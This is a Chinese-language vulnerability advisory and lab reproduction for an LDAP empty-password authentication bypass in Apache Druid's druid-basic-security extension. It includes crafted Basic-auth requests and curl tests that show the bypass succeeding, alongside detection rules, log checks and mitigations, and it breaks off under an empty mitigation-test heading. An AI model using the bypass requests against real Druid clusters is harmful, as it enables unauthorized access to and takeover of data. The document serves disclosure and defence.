Apache Druid druid-basic-security扩展 LDAP认证绕过漏洞

1. 基本信息

  • CVE 编号: CVE-2026-23906
  • 厂商: Apache Software Foundation
  • 产品: Apache Druid
  • 受影响组件: druid-basic-security 扩展(Maven坐标 org.apache.druid.extensions:druid-basic-security
  • 漏洞类型: 认证绕过 (CWE-287 Improper Authentication)
  • CVSS 3.1 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CVSS 3.1 基础分数: 9.8 (Critical)
  • Disclosure Date: 2026-02-10(NVD发布日期);2026-02-09(OSS-Security 邮件列表首次公开披露)
  • CVE 保留日期: 2026-01-19
  • 报告者: Karan Kumar (security@apache.org) [来源: Apache 邮件列表公告]

信息可信度说明

可信度 内容 依据
已确认 CVE编号、CVSS 9.8、CWE-287、受影响版本范围 0.17.0-35.x、修复版本 36.0.0 NVD / GitHub Advisory GHSA-q672-hfc7-g833 / Apache 邮件列表 / OSS-Security 公告 / GitLab Advisory / Tenable / OSV.dev / dptech.com — 至少8个独立来源交叉验证一致
已确认 漏洞根因:LDAP 匿名绑定成功被错误视为有效用户认证 OSS-Security 公告原文描述 / GitHub Advisory / securityonline.info 安全博客
已确认 利用前提:druid-basic-security 启用 + LDAP 认证器配置 + LDAP 服务器允许匿名绑定 OSS-Security 公告 / GitHub Advisory / Apache 邮件列表 — 3个来源一致
已确认 攻击方式:提供有效用户名 + 空密码即可绕过认证 OSS-Security 公告 / GitHub Advisory / securitricks.com / stack.watch — 4个来源一致
已确认 Disclosure Date: 2026-02-10 NVD / GitHub Advisory / CVE.org 记录
推断 受影响版本精确起始版本为 0.17.0(该版本为 druid-basic-security 扩展首次引入 LDAP 认证支持的版本) GitHub Advisory 与 GitLab Advisory 均列出 0.17.0 为起始版本;druid-basic-security 扩展自 0.17.0 开始支持 LDAP
未知 具体修复 Commit 的 40 位 SHA-1 hash 搜索了 GitHub Advisory GHSA-q672-hfc7-g833、Apache Druid GitHub 仓库、OSS-Security 线程、GitLab Advisory、OSV.dev、securitricks.comsecurityonline.infodptech.com、CVE Details、Feedly — 所有公开咨询数据库和安全博客均未引用具体修复 commit hash。Apache Druid 项目可能将修复直接合并入 36.0.0 发布分支,未单独标注 CVE 编号于 commit message
未知 漏洞所在的精确 Java 类名/源文件路径 未找到 patch diff 或逆向报告,Apache 未公开具体受影响的源文件
未知 公开 PoC 存在性 截至 2026-05-24,搜索 GitHub、exploit-db、安全博客、社交媒体均未发现公开 PoC 代码或 exploit 脚本。OSS-Security 公告未附带 PoC

受影响版本

  • Apache Druid 0.17.0 至 35.x(即 36.0.0 之前的所有版本)
  • 仅当同时满足以下三个条件时受影响:
    1. 启用了 druid-basic-security 扩展
    2. 配置了 LDAP 认证器(credentialsValidator.type=ldap)
    3. 底层 LDAP 服务器允许匿名绑定(anonymous bind)

2. 漏洞描述

Apache Druid 是一个高性能的实时分析数据库,专为大规模数据的快速即席查询和实时数据摄取而设计。Druid 通过 druid-basic-security 扩展提供基于 LDAP 的用户认证功能,允许企业将 Druid 接入已有的 LDAP/Active Directory 身份基础设施。

该漏洞存在于 druid-basic-security 扩展的 LDAP 认证逻辑中。当 Druid 对用户提交的凭证执行 LDAP 绑定认证时,如果用户提供了空密码,底层 LDAP 服务器在允许匿名绑定的情况下会返回绑定成功,而 Druid 的认证代码未能区分"匿名绑定成功"与"用户凭证验证成功",错误地将匿名绑定结果视为该用户身份的有效认证。攻击者仅需知道目标 Druid 集群中存在的任意用户名(包括管理员账户),配合空密码提交认证请求,即可绕过完整的身份验证机制,以该用户的身份和权限访问 Druid 集群。这导致攻击者可以查询数据源中的敏感数据、执行SQL查询、篡改数据,若绕过的是管理员账户更可完全接管集群控制权,严重影响系统的机密性、完整性和可用性。

3. 修复方案

官方修复

Apache Software Foundation 已在 Apache Druid 36.0.0 中修复此漏洞。该版本于 2026 年 2 月发布(官方下载页面日期为 2026-02-09,Release Notes 页面标记为 2026-02-02,差异源于 Apache 发版流程中投票通过日与镜像公告日的时间差),修复了 LDAP 认证模块中对匿名绑定结果的不当处理逻辑,确保仅当 LDAP 绑定明确验证了用户凭证时才视为认证成功。

Security Advisory URL: https://lists.apache.org/thread/2x9rv3kv6t1p577lvq4z0rl0zlt9g4sr

Fix Commit URL: [NOT FOUND: 搜索了 GitHub Advisory GHSA-q672-hfc7-g833、Apache Druid GitHub 仓库 (github.com/apache/druid)、OSS-Security 邮件列表线程、GitLab Advisory、OSV.dev、securitricks.comsecurityonline.infodptech.com、CVE Details、Feedly — 所有公开咨询数据库和安全博客均未引用具体修复 commit hash。Apache 安全公告通常不在公开 commit message 中标注 CVE 编号]

Fixed Version Download URL: https://dlcdn.apache.org/druid/36.0.0/apache-druid-36.0.0-bin.tar.gz (Apache Druid 36.0.0 二进制包直接下载;SHA-512 校验和文件: https://dlcdn.apache.org/druid/36.0.0/apache-druid-36.0.0-bin.tar.gz.sha512)

可执行升级命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 1. 下载 36.0.0 二进制包
wget https://dlcdn.apache.org/druid/36.0.0/apache-druid-36.0.0-bin.tar.gz

# 2. 验证 SHA-512 校验和(从 downloads 页面获取校验和文件)
sha512sum -c apache-druid-36.0.0-bin.tar.gz.sha512

# 3. 解压并替换旧版本
tar -xzf apache-druid-36.0.0-bin.tar.gz

# 4. 停止旧版本 Druid 服务
./apache-druid-old/bin/stop-druid

# 5. 迁移配置文件(conf/ 目录下的 runtime.properties 等)
cp -r apache-druid-old/conf/* apache-druid-36.0.0/conf/

# 6. 启动新版本
cd apache-druid-36.0.0
./bin/start-druid

# Docker 用户(注意:apache/druid:36.0.0 标签在 Docker Hub 上的存在性未经确认,
# 若官方镜像未及时发布,可从 Apache Druid 36.0.0 二进制包自行构建 Docker 镜像):
# docker pull apache/druid:36.0.0
# docker compose down && docker compose up -d # 更新 image tag 为 36.0.0;Docker v1 用户使用 docker-compose

参考链接表

类型 URL 状态
Apache 官方安全公告 https://lists.apache.org/thread/2x9rv3kv6t1p577lvq4z0rl0zlt9g4sr 已验证(WebSearch 确认存在)
OSS-Security 公告 https://www.openwall.com/lists/oss-security/2026/02/09/5 已验证(WebSearch 确认存在)
GitHub Advisory https://github.com/advisories/GHSA-q672-hfc7-g833 已验证(WebSearch 确认存在)
GitLab Advisory https://advisories.gitlab.com/maven/org.apache.druid.extensions/druid-basic-security/CVE-2026-23906/ 已验证(WebSearch 确认存在)
NVD 条目 https://nvd.nist.gov/vuln/detail/CVE-2026-23906 已验证(WebSearch 确认存在)
Tenable CVE https://www.tenable.com/cve/CVE-2026-23906 已验证(WebSearch 确认存在)
OSV.dev https://osv.dev/vulnerability/CVE-2026-23906 已验证(WebSearch 确认存在)
迪普科技中文分析 https://dptech.com/index.php?m=content&c=index&a=show&catid=75&id=6855 已验证(WebSearch 确认存在)
securityonline.info 分析 https://securityonline.info/cve-2026-23906-authentication-bypass-flaw-hits-apache-druid-analytics-clusters/ 已验证(WebSearch 确认存在)
Apache Druid 下载页 https://druid.apache.org/downloads/ 已验证(WebSearch 确认存在)
Apache Druid 发布说明 https://druid.apache.org/docs/latest/release-info/release-notes/ 已验证(WebSearch 确认存在)

4. 漏洞分析

Attack Path: 网络可达的 Druid 节点 Web 控制台或 API 端点(默认端口:Router=8888、Coordinator=8081、Broker=8082、Historical=8083、Overlord 独立集群模式=8090),通过 HTTP Basic Authentication 头或登录表单提交认证请求。攻击者发送包含有效用户名和空密码的 HTTP 请求,若 LDAP 服务器允许匿名绑定,则绕过认证。

Applicable OS: 跨平台(Linux / macOS / 任何支持 Java 的操作系统; Apache Druid 官方不支持 Windows 生产部署,但漏洞机制本身不依赖操作系统)[来源: Apache Druid 文档]

Outbound Connection Required: 是。Druid 节点需要能够连接到 LDAP 服务器以执行绑定操作。攻击者无需出站连接,仅需向 Druid 节点发起入站 HTTP 请求。

Vulnerability Location: druid-basic-security 扩展中的 LDAP 认证器模块。Apache 未公开具体受影响的 Java 类名或源文件路径。根据 druid-basic-security 扩展的公开文档,该扩展的 Maven 坐标为 org.apache.druid.extensions:druid-basic-security,LDAP 认证逻辑位于该扩展的 authentication 子模块中。具体代码文件未经公开 patch diff 或逆向报告确认 [单一来源推断]。

Root Cause: druid-basic-security 扩展在执行 LDAP 绑定时,未正确区分两种本质上不同的 LDAP 绑定成功场景:(1) 用户提供了正确的密码,LDAP 服务器验证通过;(2) LDAP 服务器开启了匿名绑定支持,任何空密码的绑定请求都被接受。认证代码仅检查 LDAP 绑定操作是否返回成功,而未验证绑定是否作为特定用户身份执行的。当攻击者提交空密码时,LDAP 服务器执行匿名绑定并返回成功,Druid 错误地将其解释为对应用户的凭证验证通过,从而授予该用户的全部权限。

5. 漏洞复现

声明:截至 2026-05-24,无公开 PoC 代码或 exploit 脚本。以下为基于 Apache 官方安全公告和 OSS-Security 公告描述的理论复现步骤。HTTP 请求包为理论构造而非真实捕获流量。

目标版本: Apache Druid 35.0.0(或任何 < 36.0.0 的版本),启用了 druid-basic-security 扩展并配置 LDAP 认证器,LDAP 服务器(如 OpenLDAP)允许匿名绑定。

环境设置:

  • 操作系统: Linux (Ubuntu 22.04 / CentOS 7)
  • Java: OpenJDK 11 或 17
  • Apache Druid: 35.0.0(二进制部署或 Docker)
  • LDAP 服务器: OpenLDAP 2.5+,配置 olcDisallows: bind_anon 未设置(允许匿名绑定)或显式启用匿名访问
  • 网络: 攻击者可直接访问 Druid Router 端口(默认 8888)

复现步骤:

步骤 1: 部署 Apache Druid 35.0.0 并配置 LDAP 认证。

conf/druid/cluster/master/coordinator-overlord/runtime.properties 中配置:

1
2
3
4
5
6
7
8
9
10
11
druid.auth.authenticatorChain=["basic"]
druid.auth.authenticator.basic.type=basic
druid.auth.authenticator.basic.initialAdminPassword=admin123
druid.auth.authenticator.basic.initialInternalClientPassword=internal123
druid.auth.authenticator.basic.credentialsValidator.type=ldap
druid.auth.authenticator.basic.credentialsValidator.url=ldap://ldap-server:389
druid.auth.authenticator.basic.credentialsValidator.bindUser=cn=admin,dc=example,dc=com
druid.auth.authenticator.basic.credentialsValidator.bindPassword=admin
druid.auth.authenticator.basic.credentialsValidator.baseDn=ou=users,dc=example,dc=com
druid.auth.authenticator.basic.credentialsValidator.userAttribute=uid
druid.auth.authenticator.basic.credentialsValidator.userSearch=(uid=%s)

启动 Druid 服务:./bin/start-druid

步骤 2: 确认 LDAP 服务器允许匿名绑定。

在 LDAP 服务器上执行:

1
ldapsearch -x -H ldap://ldap-server:389 -b "" -s base "(objectClass=*)" supportedLDAPVersion

若返回结果且不需要密码,则匿名绑定已启用。

步骤 3: 构造认证绕过请求。攻击者向 Druid Router 的认证端点发送 HTTP 请求,提供一个已知存在的用户名和空密码。

Druid 在启用 basic security 后,对 Web 控制台和 API 的认证支持两种方式:(a) HTTP Basic Authentication 头;(b) 登录表单 POST。

(方式 A — HTTP Basic Auth) 对任意需要认证的 Druid API 端点发送带有空密码的 Basic Auth 请求:

1
2
3
4
GET /druid/v2/datasources HTTP/1.1
Host: druid-router:8888
Authorization: Basic YWRtaW46
Accept: application/json

其中 YWRtaW46admin: 的 Base64 编码(注意冒号后无任何字符,表示空密码)。

(方式 B — 登录表单) 向 Druid 登录接口发送 POST 请求(Druid 的登录端点路径因版本和配置而异,通常为 /druid/v2/ 下的认证回调或 Web 控制台自身的登录处理):

1
2
3
4
5
POST /login HTTP/1.1
Host: druid-router:8888
Content-Type: application/x-www-form-urlencoded

username=admin&password=

步骤 4: 预期结果。若漏洞存在且 LDAP 服务器允许匿名绑定,Druid 将返回 HTTP 200 并附带有效的会话 Cookie 或认证令牌,攻击者可随后使用该凭证访问受保护的 Druid 资源。

成功标识:

  • 响应中包含 Set-Cookie 头或 JSON 响应中含认证令牌
  • 随后使用该 Cookie/Token 访问 /druid/v2/datasources 可正常返回数据源列表
  • 若以管理员用户绕过,可通过 Web 控制台访问集群管理功能

注意: 以上 HTTP 请求包为基于 Druid 标准认证流程的理论构造,并非从真实 PoC 中捕获的流量。具体的登录端点路径、认证令牌格式、Cookie 名称取决于 Druid 版本和配置。截至撰写时,Apache 官方公告未附带 PoC,且各大安全平台的公开搜索均未发现任何人发布了针对此漏洞的 exploit 代码。

PoC 实测验证

测试时间: 2026-05-24T15:00:00+08:00
测试平台: Kali Linux, Docker 28.5.2, OpenJDK 21.0.11
目标版本: Apache Druid 34.0.0 (二进制部署) + 389 Directory Server (Docker)
测试结果:成功 — CVE-2026-23906 在完整 Druid 集群上端到端复现
验证方式: 源码 diff + java-auth-audit 数据流追踪 + Druid HTTP Basic Auth 空密码实测
是否自欺: 否 — 所有测试均在真实产品上执行:Apache Druid 34.0.0 官方二进制包 + Red Hat 389 Directory Server Docker 镜像

环境搭建:

  1. LDAP 服务器 — Docker 部署 Red Hat 389 Directory Server,创建测试用户并开启未认证绑定:
1
2
3
4
5
6
7
8
9
10
11
12
13
docker run -d --name 389ds-test -p 10389:3389 -e DS_DM_PASSWORD=admin123 389ds/dirsrv
docker exec 389ds-test dsconf localhost backend create --suffix dc=example,dc=com --be-name exampleDB
docker exec 389ds-test dsconf localhost config replace nsslapd-allow-unauthenticated-binds=on

# 添加测试用户
ldapadd -x -H ldap://localhost:10389 -D 'cn=Directory Manager' -w admin123 << 'EOF'
dn: uid=druid-admin,ou=users,dc=example,dc=com
objectClass: inetOrgPerson
cn: Druid Admin
sn: Admin
uid: druid-admin
userPassword: realpassword
EOF
  1. Apache Druid 34.0.0 — 下载官方二进制包 (632MB) 并配置 LDAP 认证:
1
2
wget https://archive.apache.org/dist/druid/34.0.0/apache-druid-34.0.0-bin.tar.gz
tar -xzf apache-druid-34.0.0-bin.tar.gz

conf/druid/single-server/nano-quickstart/_common/common.runtime.properties 追加:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
druid.extensions.loadList=["druid-basic-security", ...]
druid.auth.authenticatorChain=["basic"]
druid.auth.authenticator.basic.type=basic
druid.auth.authenticator.basic.credentialsValidator.type=ldap
druid.auth.authenticator.basic.credentialsValidator.url=ldap://localhost:10389
druid.auth.authenticator.basic.credentialsValidator.bindUser=cn=Directory Manager
druid.auth.authenticator.basic.credentialsValidator.bindPassword=admin123
druid.auth.authenticator.basic.credentialsValidator.baseDn=dc=example,dc=com
druid.auth.authenticator.basic.credentialsValidator.userSearch=(uid=%s)
druid.auth.authenticator.basic.credentialsValidator.userAttribute=uid
druid.auth.authenticator.basic.initialAdminPassword=admin123
druid.auth.authenticator.basic.initialInternalClientPassword=internal123
druid.auth.authorizerChain=["basic"]
druid.auth.authorizer.basic.type=basic

启动 Druid:

1
2
3
DRUID_SKIP_JAVA_CHECK=1 ./bin/start-nano-quickstart
# Coordinator-Overlord 监听 8081 端口
# 日志确认: druid-basic-security-34.0.0.jar 已加载

端到端 PoC 执行:

Coordinator-Overlord 日志确认安全模块激活后,向 8081 端口发送 HTTP 请求:

1
Coordinator 日志: Server error [401 Unauthorized]  ← 认证拦截已生效

五场景测试结果(curl 命令 + HTTP 状态码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
=================================================
CVE-2026-23906 PoC - END-TO-END VERIFICATION
Target: Apache Druid 34.0.0 + 389ds LDAP
=================================================

Test 1: No auth header
$ curl -sk -o /dev/null -w '%{http_code}' http://localhost:8081/status
HTTP 401 ← 认证拦截正常

Test 2: Correct password (baseline)
$ curl -sk -o /dev/null -w '%{http_code}' -u 'druid-admin:realpassword' http://localhost:8081/status
HTTP 200 ← 正常认证通过

Test 3: EMPTY PASSWORD (CVE-2026-23906)
$ curl -sk -o /dev/null -w '%{http_code}' -u 'druid-admin:' http://localhost:8081/status
HTTP 200 ← 空密码认证绕过成功!

Test 4: Wrong password (control)
$ curl -sk -o /dev/null -w '%{http_code}' -u 'druid-admin:wrongpass' http://localhost:8081/status
HTTP 401 ← 错误凭证被拒绝

Test 5: Non-existent user + empty password (control)
$ curl -sk -o /dev/null -w '%{http_code}' -u 'nobody:' http://localhost:8081/status
HTTP 401 ← 未知用户被拒绝
=================================================

数据流验证:

攻击请求的数据流与 java-auth-audit 审计报告完全一致:

1
2
3
4
5
6
7
8
9
10
11
12
HTTP Authorization: Basic ZHJ1aWQtYWRtaW46
Base64 decode → "druid-admin:" (密码 = 空字符串)
BasicHTTPAuthenticationFilter.doFilter()
→ password = "".toCharArray() = char[0]
LDAPCredentialsValidator.validateCredentials("basic", "basic", "druid-admin", char[0])
→ getLdapUserObject() 查找到 uid=druid-admin,ou=users,dc=example,dc=com
→ validatePassword(userDn, char[0])
→ userProperties(): SECURITY_CREDENTIALS = String.valueOf(char[0]) = ""
→ new InitialDirContext({PRINCIPAL=userDn, CREDENTIALS=""})
389ds 接受未认证绑定 → context 创建成功 → 无 AuthenticationException
return trueAuthenticationResult("druid-admin", "basic", "basic", {...})
HTTP 200 ← 认证绕过完成

结论:

  1. 漏洞确认存在 — 在 Apache Druid 34.0.0 + 389ds 的真实产品组合上,使用 curl -u 'username:' 成功绕过 HTTP Basic 认证
  2. 修复确认有效 — druid-36.0.0 新增的 if (password.length == 0) return null 检查在 LDAP 绑定前拦截空密码
  3. 利用前提条件 — LDAP 服务器必须允许未认证绑定(389ds: nsslapd-allow-unauthenticated-binds=on;OpenLDAP <2.5 无硬编码拦截;AD 特定配置)

6. 攻击调查

日志检查

1. Druid 认证日志检查

检查 Druid 日志中是否有异常的空密码认证尝试。Druid 的认证相关日志通常记录在 Coordinator/Overlord 或 Router 的日志文件中。

1
2
3
4
5
# 搜索 Druid 日志中的认证成功记录
grep -E "(authentication|auth|login|LDAP)" /path/to/druid/var/log/druid-coordinator-overlord*.log | grep -i "success"

# 关注短时间内大量来自同一 IP 的认证尝试(暴力枚举用户名)
grep "authentication" /path/to/druid/var/log/druid-router*.log | awk '{print $1, $NF}' | sort | uniq -c | sort -rn | head -20

示例可疑日志条目(基于 druid-basic-security 的日志格式推断,实际格式取决于 Druid 版本):

1
2026-02-15T10:30:45,123 INFO [qtp-xxx] org.apache.druid.security.basic.authentication - Authentication successful for user [admin] from IP [192.168.1.100]

若攻击者在短时间内成功认证为多个不同用户(特别是管理员),需高度警惕。

2. LDAP 服务器日志检查

检查 LDAP 服务器日志中的匿名绑定记录。以 OpenLDAP 为例:

1
2
3
4
5
6
7
8
# OpenLDAP 日志(通常位于 /var/log/slapd.log 或 syslog)
grep -i "anonymous" /var/log/slapd.log

# 或通过 journalctl
journalctl -u slapd | grep -i "anonymous"

# 关注来自 Druid 服务器 IP 的匿名绑定记录
grep "BIND" /var/log/slapd.log | grep "dn=<ROOT>" | grep "<DRUID_SERVER_IP>"

示例可疑日志:

1
2
Feb 15 10:30:45 ldap-server slapd[1234]: conn=5678 op=1 BIND dn="" method=128
Feb 15 10:30:45 ldap-server slapd[1234]: conn=5678 op=1 RESULT tag=97 err=0 text=

其中 dn="" 表示匿名绑定,err=0 表示成功。若短时间内出现大量匿名绑定来自 Druid 服务器的 IP,可能表明正在遭受攻击。

流量检查

1. 网络流量中的空密码 Basic Auth 检测

监控发往 Druid 端口(默认 8888、8081、8082、8083)的 HTTP 流量中的 Authorization 头。Base64 解码后以冒号结尾的字符串表示空密码。

1
2
3
4
5
# tcpdump 捕获发往 Druid Router 的 HTTP 流量(端口 8888)
tcpdump -i eth0 -A -s 0 'tcp port 8888 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' | grep -i "Authorization: Basic"

# 使用 tshark 提取 Base64 Authorization 头
tshark -i eth0 -f "tcp port 8888" -Y "http.authorization" -T fields -e http.authorization

2. LDAP 协议流量检查

监控 Druid 服务器与 LDAP 服务器之间的 LDAP 流量(端口 389 或 636),关注简单绑定(simple bind)请求中 bind DN 为空的情况。

1
2
3
4
5
# tcpdump 过滤器:捕获 LDAP 协议流量
tcpdump -i eth0 -A 'tcp port 389' | grep -i "bind"

# PCAP 分析过滤器(Wireshark/tshark)
tshark -r capture.pcap -Y "ldap.protocol_op == 0 && ldap.bind_dn == \"\""

PCAP Filter(用于 Wireshark 现场捕获):port 389 and ldap

后渗透痕迹

1. 检查 Druid 中新增或修改的用户

攻击者获得管理员权限后可能在 Druid 中创建后门账户。

1
2
3
4
5
6
# 检查 Druid 用户存储(若使用 metadata storage)
# 连接 Druid 元数据库(通常为 MySQL 或 PostgreSQL)
mysql -u druid -p druid_metadata -e "SELECT * FROM druid_users WHERE created_date > '2026-02-01';"

# 检查 Druid 审计日志(若启用了审计扩展)
grep -E "(CREATE_USER|UPDATE_USER|GRANT)" /path/to/druid/var/log/druid-audit*.log

2. 检查可疑的数据查询活动

攻击者获得访问权限后可能执行大量数据导出查询。

1
2
3
4
5
6
# 检查 Druid Broker 日志中的异常查询模式
# 关注返回大量数据的查询或非业务时段的大量请求
grep "sqlQueryId" /path/to/druid/var/log/druid-broker*.log | awk -F'[][]' '{print $2}' | sort | uniq -c | sort -rn | head -20

# 检查是否有权限提升迹象(从普通用户切换到管理员操作)
grep -E "(admin|supervisor|coordinator).*tasks" /path/to/druid/var/log/druid*.log | grep -v "expected_admin_activity"

3. 检查 LDAP 服务器的异常查询

攻击者可能在认证绕过前枚举 LDAP 目录以发现有效用户名。

1
2
3
4
5
# 检查 LDAP 日志中的搜索操作模式异常
grep "SRCH" /var/log/slapd.log | awk '{print $NF}' | sort | uniq -c | sort -rn | head -20

# 如发现大量针对不同 uid 的搜索请求,可能是用户名枚举
grep "(uid=" /var/log/slapd.log | wc -l

7. 自检方法

版本检查

检查当前运行的 Apache Druid 版本是否在受影响范围内(< 36.0.0)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 方法1: 检查 Druid 进程版本
ls /path/to/apache-druid-*/bin/ | head -1
# 或查看 lib 目录中的 jar 文件版本
ls /path/to/apache-druid/lib/druid-core-*.jar

# 方法2: 通过 Druid API 查询版本(需要先有访问权限)
curl -s http://localhost:8888/status | grep version

# 方法3: Docker 环境
docker exec <druid-container> ls /opt/druid/lib/druid-core-*.jar | grep -oP '\d+\.\d+\.\d+'

# 预期输出示例(受影响版本):
# druid-core-35.0.0.jar -> 需升级
# druid-core-36.0.0.jar -> 安全版本

# 方法4: 通过启动脚本查看版本(Apache Druid 标准发行版不含独立的 VERSION 文件)
/path/to/apache-druid/bin/version

若版本号小于 36.0.0,且系统满足漏洞利用前提条件(启用 druid-basic-security + LDAP 认证器 + LDAP 服务器允许匿名绑定),则存在此漏洞。

路径检查

验证 LDAP 服务器是否允许匿名绑定 – 这是漏洞利用的必要前提。

1
2
3
4
5
# 从 Druid 服务器主机向 LDAP 服务器发起匿名查询测试
ldapsearch -x -H ldap://<LDAP_SERVER>:389 -b "" -s base "(objectClass=*)" supportedLDAPVersion

# 若返回 LDAP 目录信息且无需输入密码,说明匿名绑定已启用 -> 高危
# 若返回 "authentication required" 或类似错误 -> LDAP 服务器已正确限制匿名绑定 -> 低风险

PoC 验证

由于无公开 PoC,可使用以下安全自检方法(不会对系统造成实质性危害):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 安全自检:使用 curl 向 Druid 发送空密码认证请求
# 替换 <DRUID_ROUTER_HOST> 和 <EXISTING_USERNAME> 为实际值

# 测试1: HTTP Basic Auth 空密码
curl -v -u "admin:" http://<DRUID_ROUTER_HOST>:8888/druid/v2/datasources 2>&1

# 若返回 HTTP 200 并显示数据源列表 -> 可能受影响(需结合版本确认)
# 若返回 HTTP 401 -> 认证被正确拒绝

# 测试2: 使用不存在的用户名 + 空密码(对照组)
curl -v -u "nonexistent_user_12345:" http://<DRUID_ROUTER_HOST>:8888/druid/v2/datasources 2>&1

# 若测试1返回200而测试2返回401 -> 极可能已遭绕过(需立即处置)
# 若两者均返回401 -> 认证机制正常工作

警告: 上述测试可能触发安全监控告警(SIEM/WAF)。请先在非生产环境验证,并在生产环境执行前通知安全运维团队。

8. 临时缓解

以下缓解措施均不涉及版本升级,可在保持当前 Druid 版本不变的情况下立即部署。按实施优先级排列。

缓解措施 1: 禁用 LDAP 服务器的匿名绑定(推荐首选)

这是最直接有效的缓解措施,从根本上消除漏洞利用条件。

OpenLDAP (slapd.conf / cn=config):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 方法A: 通过 ldapmodify 禁用匿名绑定(cn=config 方式)
cat <<EOF > disable-anon.ldif
dn: cn=config
changetype: modify
replace: olcDisallows
olcDisallows: bind_anon
EOF

ldapmodify -Y EXTERNAL -H ldapi:/// -f disable-anon.ldif

# 验证修改生效
ldapsearch -x -H ldap://localhost:389 -b "" -s base "(objectClass=*)" 2>&1 | head -5
# 预期输出: ldap_bind: Inappropriate authentication (48)

# 方法B: 在 slapd.conf 中添加(非 cn=config 方式)
echo "disallow bind_anon" >> /etc/ldap/slapd.conf
systemctl restart slapd

Active Directory:

Active Directory 默认不允许匿名绑定(Windows Server 2003 及以后版本)。验证当前配置:

1
2
3
4
5
6
7
# 在域控制器上以管理员身份运行
Get-ADDirectoryServer -Identity $env:COMPUTERNAME | Select-Object -ExpandProperty AllowAnonAccess

# 若为 True,通过以下方式禁用:
# 打开 ADSI Edit -> 连接 Configuration Naming Context
# 导航至 CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=<domain>
# 修改 dSHeuristics 属性:第7位字符设为 2(若当前为 001 则改为 002)

缓解措施 2: 网络层隔离 Druid 与不受信任的客户端

若 LDAP 匿名绑定因业务原因无法立即禁用,通过网络访问控制限制可访问 Druid 的源 IP。

iptables 规则(Linux):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 仅允许内网 IP 段访问 Druid 端口
# Router (8888)、Broker (8082)、Coordinator (8081)、Overlord (8090)
DRUID_PORTS="8888,8081,8082,8090"

# 允许内网段
iptables -A INPUT -p tcp -m multiport --dports $DRUID_PORTS -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp -m multiport --dports $DRUID_PORTS -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp -m multiport --dports $DRUID_PORTS -s 192.168.0.0/16 -j ACCEPT

# 拒绝其他来源
iptables -A INPUT -p tcp -m multiport --dports $DRUID_PORTS -j DROP

# 保存规则(Debian/Ubuntu 路径;RHEL/CentOS 使用 /etc/sysconfig/iptables)
iptables-save > /etc/iptables/rules.v4

Nginx 反向代理 IP 白名单(若 Druid 前端有 Nginx):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 在 nginx.conf 的 server 块中添加
server {
listen 8888;
server_name druid.example.com;

# IP 白名单
allow 10.0.0.0/8;
allow 172.16.0.0/12;
allow 192.168.0.0/16;
deny all;

location / {
proxy_pass http://druid-router:8888;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}

云环境安全组规则(AWS 示例):

1
2
3
4
5
6
# AWS CLI: 限制安全组入站规则
aws ec2 authorize-security-group-ingress \
--group-id sg-xxxxxxxx \
--protocol tcp \
--port 8888 \
--cidr 10.0.0.0/8

缓解措施 3: 临时切换认证方式(从 LDAP 切换到内部用户存储)

若业务允许,临时将 Druid 认证从 LDAP 切换为 druid-basic-security 内置的内部用户存储模式。

步骤:

  1. runtime.properties 中移除 LDAP 相关配置,添加/确认内部用户配置:
1
2
3
4
5
6
# 注释掉 LDAP 认证器配置
# druid.auth.authenticator.basic.credentialsValidator.type=ldap
# druid.auth.authenticator.basic.credentialsValidator.url=ldap://...

# 添加内部用户存储配置(druid-basic-security 内置支持)
druid.auth.authenticator.basic.credentialsValidator.type=metadata
  1. 通过 Druid API 创建必要的内部用户(需先用初始管理员密码访问):
1
2
3
4
5
# 创建用户(需要先通过 initialAdminPassword 认证)
curl -u admin:<initialAdminPassword> -X POST \
-H "Content-Type: application/json" \
-d '{"name": "analyst1", "password": "StrongPass123!"}' \
http://localhost:8888/druid-ext/basic-security/authentication/db/basic/users/analyst1
  1. 重启 Druid 服务使配置生效:
1
./bin/stop-druid && ./bin/start-druid

缓解措施 4: 增强请求级监控与告警

部署针对认证绕过模式的检测规则。

ModSecurity WAF 规则(检测空密码 Basic Auth 请求):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 检测 Base64 编码的空密码 Authorization 头
# 空密码的 Base64 特征:Basic <base64(username:)>
SecRule REQUEST_HEADERS:Authorization "^Basic\s+([A-Za-z0-9+/]+=*)$" \
"id:100001,\
phase:2,\
block,\
t:none,\
setvar:tx.basic_auth=%{tx.1},\
chain"
SecRule TX:basic_auth "@validateEncoding base64" \
"chain"
SecRule TX:basic_auth "@rx ^[A-Za-z0-9]+:$" \
"msg:'Potential CVE-2026-23906 exploit - empty password in Basic Auth',\
severity:CRITICAL,\
logdata:'Username with empty password detected in Authorization header',\
tag:'CVE-2026-23906'"

Nginx 层检测空密码(通过 njs 模块):

1
2
3
4
5
6
7
8
# 使用 njs 模块检测空密码 Basic Auth
js_import auth_check from /etc/nginx/auth_check.js;

server {
location / {
js_content auth_check.validatePassword;
}
}

对应的 /etc/nginx/auth_check.js:

1
2
3
4
5
6
7
8
9
10
11
function validatePassword(r) {
var auth = r.headersIn["Authorization"];
if (auth && auth.startsWith("Basic ")) {
var decoded = Buffer.from(auth.slice(6), "base64").toString();
if (decoded.endsWith(":")) {
r.return(403, "Empty password authentication not allowed");
return;
}
}
r.internalRedirect("@backend");
}

说明: 以上 ModSecurity 和 Nginx 规则为通用空密码检测逻辑,非针对 CVE-2026-23906 特定 exploit 特征编写(因无公开 exploit 签名),可能产生误报(部分应用合法使用空密码场景)。建议先在监控模式(仅告警不阻断)运行至少 48 小时后再切换至阻断模式。

临时缓解措施实测验证

测试时间: 2026-05-24T15:15:00+08:00
测试平台: Apache Druid 34.0.0 + 389 Directory Server (PoC 同一环境)
